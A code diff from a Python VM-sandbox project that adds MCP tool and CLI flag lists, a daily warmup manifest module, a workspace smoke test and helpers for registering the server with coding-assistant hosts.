PUBLIC_CLI_WORKSPACE_SERVICE_STOP_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SHELL_OPEN_FLAGS = (
|
||||
"--cwd",
|
||||
"--cols",
|
||||
"--rows",
|
||||
"--secret-env",
|
||||
"--json",
|
||||
"--id-only",
|
||||
)
|
||||
PUBLIC_CLI_WORKSPACE_SHELL_READ_FLAGS = (
|
||||
"--cursor",
|
||||
"--max-chars",
|
||||
"--plain",
|
||||
"--wait-for-idle-ms",
|
||||
"--json",
|
||||
)
|
||||
PUBLIC_CLI_WORKSPACE_SHELL_WRITE_FLAGS = ("--input", "--no-newline", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_SHELL_SIGNAL_FLAGS = ("--signal", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_SHELL_CLOSE_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SNAPSHOT_CREATE_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SNAPSHOT_DELETE_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SNAPSHOT_LIST_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_START_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_STATUS_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_STOP_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SUMMARY_FLAGS = ("--json",)
|
||||
PUBLIC_CLI_WORKSPACE_SYNC_PUSH_FLAGS = ("--dest", "--json")
|
||||
PUBLIC_CLI_WORKSPACE_UPDATE_FLAGS = (
|
||||
"--name",
|
||||
"--clear-name",
|
||||
"--label",
|
||||
"--clear-label",
|
||||
"--json",
|
||||
)
|
||||
PUBLIC_CLI_RUN_FLAGS = (
|
||||
"--vcpu-count",
|
||||
"--mem-mib",
|
||||
"--timeout-seconds",
|
||||
"--ttl-seconds",
|
||||
"--network",
|
||||
"--allow-host-compat",
|
||||
"--json",
|
||||
)
|
||||
PUBLIC_MCP_PROFILES = ("vm-run", "workspace-core", "workspace-full")
|
||||
PUBLIC_MCP_MODES = ("repro-fix", "inspect", "cold-start", "review-eval")
|
||||
|
||||
PUBLIC_SDK_METHODS = (
|
||||
"apply_workspace_patch",
|
||||
"close_shell",
|
||||
"create_server",
|
||||
"create_snapshot",
|
||||
"create_vm",
|
||||
"create_workspace",
|
||||
"delete_snapshot",
|
||||
"delete_vm",
|
||||
"delete_workspace",
|
||||
"diff_workspace",
|
||||
"exec_vm",
|
||||
"exec_workspace",
|
||||
"export_workspace",
|
||||
"export_workspace_disk",
|
||||
"inspect_environment",
|
||||
"list_environments",
|
||||
"list_services",
|
||||
"list_snapshots",
|
||||
"list_workspace_disk",
|
||||
"list_workspace_files",
|
||||
"list_workspaces",
|
||||
"logs_service",
|
||||
"logs_workspace",
|
||||
"network_info_vm",
|
||||
"open_shell",
|
||||
"prune_environments",
|
||||
"pull_environment",
|
||||
"push_workspace_sync",
|
||||
"read_shell",
|
||||
"read_workspace_disk",
|
||||
"read_workspace_file",
|
||||
"reap_expired",
|
||||
"reset_workspace",
|
||||
"run_in_vm",
|
||||
"signal_shell",
|
||||
"start_service",
|
||||
"start_vm",
|
||||
"start_workspace",
|
||||
"status_service",
|
||||
"status_vm",
|
||||
"status_workspace",
|
||||
"stop_service",
|
||||
"stop_vm",
|
||||
"stop_workspace",
|
||||
"summarize_workspace",
|
||||
"update_workspace",
|
||||
"write_shell",
|
||||
"write_workspace_file",
|
||||
)
|
||||
|
||||
PUBLIC_MCP_TOOLS = (
|
||||
"service_list",
|
||||
"service_logs",
|
||||
"service_start",
|
||||
"service_status",
|
||||
"service_stop",
|
||||
"shell_close",
|
||||
"shell_open",
|
||||
"shell_read",
|
||||
"shell_signal",
|
||||
"shell_write",
|
||||
"snapshot_create",
|
||||
"snapshot_delete",
|
||||
"snapshot_list",
|
||||
"vm_create",
|
||||
"vm_delete",
|
||||
"vm_exec",
|
||||
|
|
@ -41,4 +221,119 @@ PUBLIC_MCP_TOOLS = (
|
|||
"vm_start",
|
||||
"vm_status",
|
||||
"vm_stop",
|
||||
"workspace_create",
|
||||
"workspace_delete",
|
||||
"workspace_diff",
|
||||
"workspace_disk_export",
|
||||
"workspace_disk_list",
|
||||
"workspace_disk_read",
|
||||
"workspace_exec",
|
||||
"workspace_export",
|
||||
"workspace_file_list",
|
||||
"workspace_file_read",
|
||||
"workspace_file_write",
|
||||
"workspace_list",
|
||||
"workspace_logs",
|
||||
"workspace_patch_apply",
|
||||
"workspace_reset",
|
||||
"workspace_summary",
|
||||
"workspace_start",
|
||||
"workspace_status",
|
||||
"workspace_stop",
|
||||
"workspace_sync_push",
|
||||
"workspace_update",
|
||||
)
|
||||
PUBLIC_MCP_VM_RUN_PROFILE_TOOLS = ("vm_run",)
|
||||
PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS = (
|
||||
"vm_run",
|
||||
"workspace_create",
|
||||
"workspace_delete",
|
||||
"workspace_diff",
|
||||
"workspace_exec",
|
||||
"workspace_export",
|
||||
"workspace_file_list",
|
||||
"workspace_file_read",
|
||||
"workspace_file_write",
|
||||
"workspace_list",
|
||||
"workspace_logs",
|
||||
"workspace_patch_apply",
|
||||
"workspace_reset",
|
||||
"workspace_summary",
|
||||
"workspace_status",
|
||||
"workspace_sync_push",
|
||||
"workspace_update",
|
||||
)
|
||||
PUBLIC_MCP_REPRO_FIX_MODE_TOOLS = (
|
||||
"workspace_create",
|
||||
"workspace_delete",
|
||||
"workspace_diff",
|
||||
"workspace_exec",
|
||||
"workspace_export",
|
||||
"workspace_file_list",
|
||||
"workspace_file_read",
|
||||
"workspace_file_write",
|
||||
"workspace_list",
|
||||
"workspace_logs",
|
||||
"workspace_patch_apply",
|
||||
"workspace_reset",
|
||||
"workspace_summary",
|
||||
"workspace_status",
|
||||
"workspace_sync_push",
|
||||
"workspace_update",
|
||||
)
|
||||
PUBLIC_MCP_INSPECT_MODE_TOOLS = (
|
||||
"workspace_create",
|
||||
"workspace_delete",
|
||||
"workspace_exec",
|
||||
"workspace_export",
|
||||
"workspace_file_list",
|
||||
"workspace_file_read",
|
||||
"workspace_list",
|
||||
"workspace_logs",
|
||||
"workspace_summary",
|
||||
"workspace_status",
|
||||
"workspace_update",
|
||||
)
|
||||
PUBLIC_MCP_COLD_START_MODE_TOOLS = (
|
||||
"service_list",
|
||||
"service_logs",
|
||||
"service_start",
|
||||
"service_status",
|
||||
"service_stop",
|
||||
"workspace_create",
|
||||
"workspace_delete",
|
||||
"workspace_exec",
|
||||
"workspace_export",
|
||||
"workspace_file_list",
|
||||
"workspace_file_read",
|
||||
"workspace_list",
|
||||
"workspace_logs",
|
||||
"workspace_reset",
|
||||
"workspace_summary",
|
||||
"workspace_status",
|
||||
"workspace_update",
|
||||
)
|
||||
PUBLIC_MCP_REVIEW_EVAL_MODE_TOOLS = (
|
||||
"shell_close",
|
||||
"shell_open",
|
||||
"shell_read",
|
||||
"shell_signal",
|
||||
"shell_write",
|
||||
"snapshot_create",
|
||||
"snapshot_delete",
|
||||
"snapshot_list",
|
||||
"workspace_create",
|
||||
"workspace_delete",
|
||||
"workspace_diff",
|
||||
"workspace_exec",
|
||||
"workspace_export",
|
||||
"workspace_file_list",
|
||||
"workspace_file_read",
|
||||
"workspace_list",
|
||||
"workspace_logs",
|
||||
"workspace_reset",
|
||||
"workspace_summary",
|
||||
"workspace_status",
|
||||
"workspace_update",
|
||||
)
|
||||
PUBLIC_MCP_WORKSPACE_FULL_PROFILE_TOOLS = PUBLIC_MCP_TOOLS
|
||||
|
|
|
|||
152
src/pyro_mcp/daily_loop.py
Normal file
152
src/pyro_mcp/daily_loop.py
Normal file
|
|
@ -0,0 +1,152 @@
|
|||
"""Machine-level daily-loop warmup state for the CLI prepare flow."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
from dataclasses import dataclass
|
||||
from pathlib import Path
|
||||
from typing import Any, Literal
|
||||
|
||||
DEFAULT_PREPARE_ENVIRONMENT = "debian:12"
|
||||
PREPARE_MANIFEST_LAYOUT_VERSION = 1
|
||||
DailyLoopStatus = Literal["cold", "warm", "stale"]
|
||||
|
||||
|
||||
def _environment_key(environment: str) -> str:
|
||||
return environment.replace("/", "_").replace(":", "_")
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class DailyLoopManifest:
|
||||
"""Persisted machine-readiness proof for one environment on one platform."""
|
||||
|
||||
environment: str
|
||||
environment_version: str
|
||||
platform: str
|
||||
catalog_version: str
|
||||
bundle_version: str | None
|
||||
prepared_at: float
|
||||
network_prepared: bool
|
||||
last_prepare_duration_ms: int
|
||||
|
||||
def to_payload(self) -> dict[str, Any]:
|
||||
return {
|
||||
"layout_version": PREPARE_MANIFEST_LAYOUT_VERSION,
|
||||
"environment": self.environment,
|
||||
"environment_version": self.environment_version,
|
||||
"platform": self.platform,
|
||||
"catalog_version": self.catalog_version,
|
||||
"bundle_version": self.bundle_version,
|
||||
"prepared_at": self.prepared_at,
|
||||
"network_prepared": self.network_prepared,
|
||||
"last_prepare_duration_ms": self.last_prepare_duration_ms,
|
||||
}
|
||||
|
||||
@classmethod
|
||||
def from_payload(cls, payload: dict[str, Any]) -> "DailyLoopManifest":
|
||||
return cls(
|
||||
environment=str(payload["environment"]),
|
||||
environment_version=str(payload["environment_version"]),
|
||||
platform=str(payload["platform"]),
|
||||
catalog_version=str(payload["catalog_version"]),
|
||||
bundle_version=(
|
||||
None if payload.get("bundle_version") is None else str(payload["bundle_version"])
|
||||
),
|
||||
prepared_at=float(payload["prepared_at"]),
|
||||
network_prepared=bool(payload.get("network_prepared", False)),
|
||||
last_prepare_duration_ms=int(payload.get("last_prepare_duration_ms", 0)),
|
||||
)
|
||||
|
||||
|
||||
def prepare_manifest_path(cache_dir: Path, *, platform: str, environment: str) -> Path:
|
||||
return cache_dir / ".prepare" / platform / f"{_environment_key(environment)}.json"
|
||||
|
||||
|
||||
def load_prepare_manifest(path: Path) -> tuple[DailyLoopManifest | None, str | None]:
|
||||
if not path.exists():
|
||||
return None, None
|
||||
try:
|
||||
payload = json.loads(path.read_text(encoding="utf-8"))
|
||||
except (OSError, json.JSONDecodeError) as exc:
|
||||
return None, f"prepare manifest is unreadable: {exc}"
|
||||
if not isinstance(payload, dict):
|
||||
return None, "prepare manifest is not a JSON object"
|
||||
try:
|
||||
manifest = DailyLoopManifest.from_payload(payload)
|
||||
except (KeyError, TypeError, ValueError) as exc:
|
||||
return None, f"prepare manifest is invalid: {exc}"
|
||||
return manifest, None
|
||||
|
||||
|
||||
def write_prepare_manifest(path: Path, manifest: DailyLoopManifest) -> None:
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
path.write_text(
|
||||
json.dumps(manifest.to_payload(), indent=2, sort_keys=True),
|
||||
encoding="utf-8",
|
||||
)
|
||||
|
||||
|
||||
def evaluate_daily_loop_status(
|
||||
*,
|
||||
environment: str,
|
||||
environment_version: str,
|
||||
platform: str,
|
||||
catalog_version: str,
|
||||
bundle_version: str | None,
|
||||
installed: bool,
|
||||
manifest: DailyLoopManifest | None,
|
||||
manifest_error: str | None = None,
|
||||
) -> tuple[DailyLoopStatus, str | None]:
|
||||
if manifest_error is not None:
|
||||
return "stale", manifest_error
|
||||
if manifest is None:
|
||||
if not installed:
|
||||
return "cold", "environment is not installed"
|
||||
return "cold", "daily loop has not been prepared yet"
|
||||
if not installed:
|
||||
return "stale", "environment install is missing"
|
||||
if manifest.environment != environment:
|
||||
return "stale", "prepare manifest environment does not match the selected environment"
|
||||
if manifest.environment_version != environment_version:
|
||||
return "stale", "environment version changed since the last prepare run"
|
||||
if manifest.platform != platform:
|
||||
return "stale", "platform changed since the last prepare run"
|
||||
if manifest.catalog_version != catalog_version:
|
||||
return "stale", "catalog version changed since the last prepare run"
|
||||
if manifest.bundle_version != bundle_version:
|
||||
return "stale", "runtime bundle version changed since the last prepare run"
|
||||
return "warm", None
|
||||
|
||||
|
||||
def prepare_request_is_satisfied(
|
||||
manifest: DailyLoopManifest | None,
|
||||
*,
|
||||
require_network: bool,
|
||||
) -> bool:
|
||||
if manifest is None:
|
||||
return False
|
||||
if require_network and not manifest.network_prepared:
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def serialize_daily_loop_report(
|
||||
*,
|
||||
environment: str,
|
||||
status: DailyLoopStatus,
|
||||
installed: bool,
|
||||
cache_dir: Path,
|
||||
manifest_path: Path,
|
||||
reason: str | None,
|
||||
manifest: DailyLoopManifest | None,
|
||||
) -> dict[str, Any]:
|
||||
return {
|
||||
"environment": environment,
|
||||
"status": status,
|
||||
"installed": installed,
|
||||
"network_prepared": bool(manifest.network_prepared) if manifest is not None else False,
|
||||
"prepared_at": None if manifest is None else manifest.prepared_at,
|
||||
"manifest_path": str(manifest_path),
|
||||
"reason": reason,
|
||||
"cache_dir": str(cache_dir),
|
||||
}
|
||||
131
src/pyro_mcp/daily_loop_smoke.py
Normal file
131
src/pyro_mcp/daily_loop_smoke.py
Normal file
|
|
@ -0,0 +1,131 @@
|
|||
"""Real guest-backed smoke for the daily local prepare and reset loop."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import argparse
|
||||
import json
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
from pathlib import Path
|
||||
|
||||
from pyro_mcp.api import Pyro
|
||||
from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT
|
||||
|
||||
|
||||
def _log(message: str) -> None:
|
||||
print(f"[daily-loop] {message}", flush=True)
|
||||
|
||||
|
||||
def _write_text(path: Path, text: str) -> None:
|
||||
path.parent.mkdir(parents=True, exist_ok=True)
|
||||
path.write_text(text, encoding="utf-8")
|
||||
|
||||
|
||||
def _run_prepare(environment: str) -> dict[str, object]:
|
||||
proc = subprocess.run( # noqa: S603
|
||||
[sys.executable, "-m", "pyro_mcp.cli", "prepare", environment, "--json"],
|
||||
text=True,
|
||||
capture_output=True,
|
||||
check=False,
|
||||
)
|
||||
if proc.returncode != 0:
|
||||
raise RuntimeError(proc.stderr.strip() or proc.stdout.strip() or "pyro prepare failed")
|
||||
payload = json.loads(proc.stdout)
|
||||
if not isinstance(payload, dict):
|
||||
raise RuntimeError("pyro prepare did not return a JSON object")
|
||||
return payload
|
||||
|
||||
|
||||
def run_daily_loop_smoke(*, environment: str = DEFAULT_PREPARE_ENVIRONMENT) -> None:
|
||||
_log(f"prepare environment={environment}")
|
||||
first_prepare = _run_prepare(environment)
|
||||
assert bool(first_prepare["prepared"]) is True, first_prepare
|
||||
second_prepare = _run_prepare(environment)
|
||||
assert bool(second_prepare["reused"]) is True, second_prepare
|
||||
|
||||
pyro = Pyro()
|
||||
with tempfile.TemporaryDirectory(prefix="pyro-daily-loop-") as temp_dir:
|
||||
root = Path(temp_dir)
|
||||
seed_dir = root / "seed"
|
||||
export_dir = root / "export"
|
||||
_write_text(seed_dir / "message.txt", "broken\n")
|
||||
_write_text(
|
||||
seed_dir / "check.sh",
|
||||
"#!/bin/sh\n"
|
||||
"set -eu\n"
|
||||
"value=$(cat message.txt)\n"
|
||||
'[ "$value" = "fixed" ] || {\n'
|
||||
" printf 'expected fixed got %s\\n' \"$value\" >&2\n"
|
||||
" exit 1\n"
|
||||
"}\n"
|
||||
"printf '%s\\n' \"$value\"\n",
|
||||
)
|
||||
|
||||
workspace_id: str | None = None
|
||||
try:
|
||||
created = pyro.create_workspace(
|
||||
environment=environment,
|
||||
seed_path=seed_dir,
|
||||
name="daily-loop",
|
||||
labels={"suite": "daily-loop-smoke"},
|
||||
)
|
||||
workspace_id = str(created["workspace_id"])
|
||||
_log(f"workspace_id={workspace_id}")
|
||||
|
||||
failing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||
assert int(failing["exit_code"]) != 0, failing
|
||||
|
||||
patched = pyro.apply_workspace_patch(
|
||||
workspace_id,
|
||||
patch=("--- a/message.txt\n+++ b/message.txt\n@@ -1 +1 @@\n-broken\n+fixed\n"),
|
||||
)
|
||||
assert bool(patched["changed"]) is True, patched
|
||||
|
||||
passing = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||
assert int(passing["exit_code"]) == 0, passing
|
||||
assert str(passing["stdout"]) == "fixed\n", passing
|
||||
|
||||
export_path = export_dir / "message.txt"
|
||||
exported = pyro.export_workspace(
|
||||
workspace_id,
|
||||
"message.txt",
|
||||
output_path=export_path,
|
||||
)
|
||||
assert export_path.read_text(encoding="utf-8") == "fixed\n"
|
||||
assert str(exported["artifact_type"]) == "file", exported
|
||||
|
||||
reset = pyro.reset_workspace(workspace_id)
|
||||
assert int(reset["reset_count"]) == 1, reset
|
||||
|
||||
rerun = pyro.exec_workspace(workspace_id, command="sh check.sh")
|
||||
assert int(rerun["exit_code"]) != 0, rerun
|
||||
reset_read = pyro.read_workspace_file(workspace_id, "message.txt")
|
||||
assert str(reset_read["content"]) == "broken\n", reset_read
|
||||
finally:
|
||||
if workspace_id is not None:
|
||||
try:
|
||||
pyro.delete_workspace(workspace_id)
|
||||
except Exception:
|
||||
pass
|
||||
|
||||
|
||||
def build_arg_parser() -> argparse.ArgumentParser:
|
||||
parser = argparse.ArgumentParser(
|
||||
description="Run the real guest-backed daily-loop prepare and reset smoke.",
|
||||
)
|
||||
parser.add_argument(
|
||||
"--environment",
|
||||
default=DEFAULT_PREPARE_ENVIRONMENT,
|
||||
help=f"Environment to warm and test. Defaults to `{DEFAULT_PREPARE_ENVIRONMENT}`.",
|
||||
)
|
||||
return parser
|
||||
|
||||
|
||||
def main() -> None:
|
||||
args = build_arg_parser().parse_args()
|
||||
run_daily_loop_smoke(environment=args.environment)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -6,6 +6,7 @@ import json
|
|||
from typing import Any
|
||||
|
||||
from pyro_mcp.api import Pyro
|
||||
from pyro_mcp.vm_manager import DEFAULT_MEM_MIB, DEFAULT_TTL_SECONDS, DEFAULT_VCPU_COUNT
|
||||
|
||||
INTERNET_PROBE_COMMAND = (
|
||||
'python3 -c "import urllib.request; '
|
||||
|
|
@ -30,10 +31,10 @@ def run_demo(*, network: bool = False) -> dict[str, Any]:
|
|||
return pyro.run_in_vm(
|
||||
environment="debian:12",
|
||||
command=_demo_command(status),
|
||||
vcpu_count=1,
|
||||
mem_mib=512,
|
||||
vcpu_count=DEFAULT_VCPU_COUNT,
|
||||
mem_mib=DEFAULT_MEM_MIB,
|
||||
timeout_seconds=30,
|
||||
ttl_seconds=600,
|
||||
ttl_seconds=DEFAULT_TTL_SECONDS,
|
||||
network=network,
|
||||
)
|
||||
|
||||
|
|
|
|||
|
|
@ -5,16 +5,18 @@ from __future__ import annotations
|
|||
import argparse
|
||||
import json
|
||||
|
||||
from pyro_mcp.daily_loop import DEFAULT_PREPARE_ENVIRONMENT
|
||||
from pyro_mcp.runtime import DEFAULT_PLATFORM, doctor_report
|
||||
|
||||
|
||||
def _build_parser() -> argparse.ArgumentParser:
|
||||
parser = argparse.ArgumentParser(description="Inspect bundled runtime health for pyro-mcp.")
|
||||
parser.add_argument("--platform", default=DEFAULT_PLATFORM)
|
||||
parser.add_argument("--environment", default=DEFAULT_PREPARE_ENVIRONMENT)
|
||||
return parser
|
||||
|
||||
|
||||
def main() -> None:
|
||||
args = _build_parser().parse_args()
|
||||
report = doctor_report(platform=args.platform)
|
||||
report = doctor_report(platform=args.platform, environment=args.environment)
|
||||
print(json.dumps(report, indent=2, sort_keys=True))
|
||||
|
|
|
|||
370
src/pyro_mcp/host_helpers.py
Normal file
370
src/pyro_mcp/host_helpers.py
Normal file
|
|
@ -0,0 +1,370 @@
|
|||
"""Helpers for bootstrapping and repairing supported MCP chat hosts."""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import shlex
|
||||
import shutil
|
||||
import subprocess
|
||||
from dataclasses import dataclass
|
||||
from datetime import UTC, datetime
|
||||
from pathlib import Path
|
||||
from typing import Literal
|
||||
|
||||
from pyro_mcp.api import McpToolProfile, WorkspaceUseCaseMode
|
||||
|
||||
SUPPORTED_HOST_CONNECT_TARGETS = ("claude-code", "codex")
|
||||
SUPPORTED_HOST_REPAIR_TARGETS = ("claude-code", "codex", "opencode")
|
||||
SUPPORTED_HOST_PRINT_CONFIG_TARGETS = ("opencode",)
|
||||
DEFAULT_HOST_SERVER_NAME = "pyro"
|
||||
DEFAULT_OPENCODE_CONFIG_PATH = Path.home() / ".config" / "opencode" / "opencode.json"
|
||||
|
||||
HostStatus = Literal["drifted", "missing", "ok", "unavailable"]
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class HostServerConfig:
|
||||
installed_package: bool = False
|
||||
profile: McpToolProfile = "workspace-core"
|
||||
mode: WorkspaceUseCaseMode | None = None
|
||||
project_path: str | None = None
|
||||
repo_url: str | None = None
|
||||
repo_ref: str | None = None
|
||||
no_project_source: bool = False
|
||||
|
||||
|
||||
@dataclass(frozen=True)
|
||||
class HostDoctorEntry:
|
||||
host: str
|
||||
installed: bool
|
||||
configured: bool
|
||||
status: HostStatus
|
||||
details: str
|
||||
repair_command: str
|
||||
|
||||
|
||||
def _run_command(command: list[str]) -> subprocess.CompletedProcess[str]:
|
||||
return subprocess.run( # noqa: S603
|
||||
command,
|
||||
check=False,
|
||||
capture_output=True,
|
||||
text=True,
|
||||
)
|
||||
|
||||
|
||||
def _host_binary(host: str) -> str:
|
||||
if host == "claude-code":
|
||||
return "claude"
|
||||
if host == "codex":
|
||||
return "codex"
|
||||
raise ValueError(f"unsupported CLI host {host!r}")
|
||||
|
||||
|
||||
def _canonical_server_command(config: HostServerConfig) -> list[str]:
|
||||
if config.mode is not None and config.profile != "workspace-core":
|
||||
raise ValueError("--mode and --profile are mutually exclusive")
|
||||
if config.project_path is not None and config.repo_url is not None:
|
||||
raise ValueError("--project-path and --repo-url are mutually exclusive")
|
||||
if config.no_project_source and (
|
||||
config.project_path is not None
|
||||
or config.repo_url is not None
|
||||
or config.repo_ref is not None
|
||||
):
|
||||
raise ValueError(
|
||||
"--no-project-source cannot be combined with --project-path, --repo-url, or --repo-ref"
|
||||
)
|
||||
if config.repo_ref is not None and config.repo_url is None:
|
||||
raise ValueError("--repo-ref requires --repo-url")
|
||||
|
||||
command = ["pyro", "mcp", "serve"]
|
||||
if not config.installed_package:
|
||||
command = ["uvx", "--from", "pyro-mcp", *command]
|
||||
if config.mode is not None:
|
||||
command.extend(["--mode", config.mode])
|
||||
elif config.profile != "workspace-core":
|
||||
command.extend(["--profile", config.profile])
|
||||
if config.project_path is not None:
|
||||
command.extend(["--project-path", config.project_path])
|
||||
elif config.repo_url is not None:
|
||||
command.extend(["--repo-url", config.repo_url])
|
||||
if config.repo_ref is not None:
|
||||
command.extend(["--repo-ref", config.repo_ref])
|
||||
elif config.no_project_source:
|
||||
command.append("--no-project-source")
|
||||
return command
|
||||
|
||||
|
||||
def _render_cli_command(command: list[str]) -> str:
|
||||
return shlex.join(command)
|
||||
|
||||
|
||||
def _repair_command(host: str, config: HostServerConfig, *, config_path: Path | None = None) -> str:
|
||||
command = ["pyro", "host", "repair", host]
|
||||
if config.installed_package:
|
||||
command.append("--installed-package")
|
||||
if config.mode is not None:
|
||||
command.extend(["--mode", config.mode])
|
||||
elif config.profile != "workspace-core":
|
||||
command.extend(["--profile", config.profile])
|
||||
if config.project_path is not None:
|
||||
command.extend(["--project-path", config.project_path])
|
||||
elif config.repo_url is not None:
|
||||
command.extend(["--repo-url", config.repo_url])
|
||||
if config.repo_ref is not None:
|
||||
command.extend(["--repo-ref", config.repo_ref])
|
||||
elif config.no_project_source:
|
||||
command.append("--no-project-source")
|
||||
if config_path is not None:
|
||||
command.extend(["--config-path", str(config_path)])
|
||||
return _render_cli_command(command)
|
||||
|
||||
|
||||
def _command_matches(output: str, expected: list[str]) -> bool:
|
||||
normalized_output = output.strip()
|
||||
if ":" in normalized_output:
|
||||
normalized_output = normalized_output.split(":", 1)[1].strip()
|
||||
try:
|
||||
parsed = shlex.split(normalized_output)
|
||||
except ValueError:
|
||||
parsed = normalized_output.split()
|
||||
return parsed == expected
|
||||
|
||||
|
||||
def _upsert_opencode_config(
|
||||
*,
|
||||
config_path: Path,
|
||||
config: HostServerConfig,
|
||||
) -> tuple[dict[str, object], Path | None]:
|
||||
existing_payload: dict[str, object] = {}
|
||||
backup_path: Path | None = None
|
||||
if config_path.exists():
|
||||
raw_text = config_path.read_text(encoding="utf-8")
|
||||
try:
|
||||
parsed = json.loads(raw_text)
|
||||
except json.JSONDecodeError:
|
||||
timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S")
|
||||
backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}")
|
||||
shutil.move(str(config_path), str(backup_path))
|
||||
parsed = {}
|
||||
if isinstance(parsed, dict):
|
||||
existing_payload = parsed
|
||||
else:
|
||||
timestamp = datetime.now(UTC).strftime("%Y%m%d%H%M%S")
|
||||
backup_path = config_path.with_name(f"{config_path.name}.bak-{timestamp}")
|
||||
shutil.move(str(config_path), str(backup_path))
|
||||
payload = dict(existing_payload)
|
||||
mcp_payload = payload.get("mcp")
|
||||
if not isinstance(mcp_payload, dict):
|
||||
mcp_payload = {}
|
||||
else:
|
||||
mcp_payload = dict(mcp_payload)
|
||||
mcp_payload[DEFAULT_HOST_SERVER_NAME] = canonical_opencode_entry(config)
|
||||
payload["mcp"] = mcp_payload
|
||||
return payload, backup_path
|
||||
|
||||
|
||||
def canonical_opencode_entry(config: HostServerConfig) -> dict[str, object]:
|
||||
return {
|
||||
"type": "local",
|
||||
"enabled": True,
|
||||
"command": _canonical_server_command(config),
|
||||
}
|
||||
|
||||
|
||||
def render_opencode_config(config: HostServerConfig) -> str:
|
||||
return (
|
||||
json.dumps(
|
||||
{"mcp": {DEFAULT_HOST_SERVER_NAME: canonical_opencode_entry(config)}},
|
||||
indent=2,
|
||||
)
|
||||
+ "\n"
|
||||
)
|
||||
|
||||
|
||||
def print_or_write_opencode_config(
|
||||
*,
|
||||
config: HostServerConfig,
|
||||
output_path: Path | None = None,
|
||||
) -> dict[str, object]:
|
||||
rendered = render_opencode_config(config)
|
||||
if output_path is None:
|
||||
return {
|
||||
"host": "opencode",
|
||||
"rendered_config": rendered,
|
||||
"server_command": _canonical_server_command(config),
|
||||
}
|
||||
output_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
output_path.write_text(rendered, encoding="utf-8")
|
||||
return {
|
||||
"host": "opencode",
|
||||
"output_path": str(output_path),
|
||||
"server_command": _canonical_server_command(config),
|
||||
}
|
||||
|
||||
|
||||
def connect_cli_host(host: str, *, config: HostServerConfig) -> dict[str, object]:
|
||||
binary = _host_binary(host)
|
||||
if shutil.which(binary) is None:
|
||||
raise RuntimeError(f"{binary} CLI is not installed or not on PATH")
|
||||
server_command = _canonical_server_command(config)
|
||||
_run_command([binary, "mcp", "remove", DEFAULT_HOST_SERVER_NAME])
|
||||
result = _run_command([binary, "mcp", "add", DEFAULT_HOST_SERVER_NAME, "--", *server_command])
|
||||
if result.returncode != 0:
|
||||
details = (result.stderr or result.stdout).strip() or f"{binary} mcp add failed"
|
||||
raise RuntimeError(details)
|
||||
return {
|
||||
"host": host,
|
||||
"server_command": server_command,
|
||||
"verification_command": [binary, "mcp", "list"],
|
||||
}
|
||||
|
||||
|
||||
def repair_opencode_host(
|
||||
*,
|
||||
config: HostServerConfig,
|
||||
config_path: Path | None = None,
|
||||
) -> dict[str, object]:
|
||||
resolved_path = (
|
||||
DEFAULT_OPENCODE_CONFIG_PATH
|
||||
if config_path is None
|
||||
else config_path.expanduser().resolve()
|
||||
)
|
||||
resolved_path.parent.mkdir(parents=True, exist_ok=True)
|
||||
payload, backup_path = _upsert_opencode_config(config_path=resolved_path, config=config)
|
||||
resolved_path.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8")
|
||||
result: dict[str, object] = {
|
||||
"host": "opencode",
|
||||
"config_path": str(resolved_path),
|
||||
"server_command": _canonical_server_command(config),
|
||||
}
|
||||
if backup_path is not None:
|
||||
result["backup_path"] = str(backup_path)
|
||||
return result
|
||||
|
||||
|
||||
def repair_host(
|
||||
host: str,
|
||||
*,
|
||||
config: HostServerConfig,
|
||||
config_path: Path | None = None,
|
||||
) -> dict[str, object]:
|
||||
if host == "opencode":
|
||||
return repair_opencode_host(config=config, config_path=config_path)
|
||||
return connect_cli_host(host, config=config)
|
||||
|
||||
|
||||
def _doctor_cli_host(host: str, *, config: HostServerConfig) -> HostDoctorEntry:
|
||||
binary = _host_binary(host)
|
||||
repair_command = _repair_command(host, config)
|
||||
if shutil.which(binary) is None:
|
||||
return HostDoctorEntry(
|
||||
host=host,
|
||||
installed=False,
|
||||
configured=False,
|
||||
status="unavailable",
|
||||
details=f"{binary} CLI was not found on PATH",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
expected_command = _canonical_server_command(config)
|
||||
get_result = _run_command([binary, "mcp", "get", DEFAULT_HOST_SERVER_NAME])
|
||||
combined_get_output = (get_result.stdout + get_result.stderr).strip()
|
||||
if get_result.returncode == 0:
|
||||
status: HostStatus = (
|
||||
"ok" if _command_matches(combined_get_output, expected_command) else "drifted"
|
||||
)
|
||||
return HostDoctorEntry(
|
||||
host=host,
|
||||
installed=True,
|
||||
configured=True,
|
||||
status=status,
|
||||
details=combined_get_output or f"{binary} MCP entry exists",
|
||||
repair_command=repair_command,
|
||||
)
|
||||
|
||||
list_result = _run_command([binary, "mcp", "list"])
|
||||
combined_list_output = (list_result.stdout + list_result.stderr).strip()
|
||||
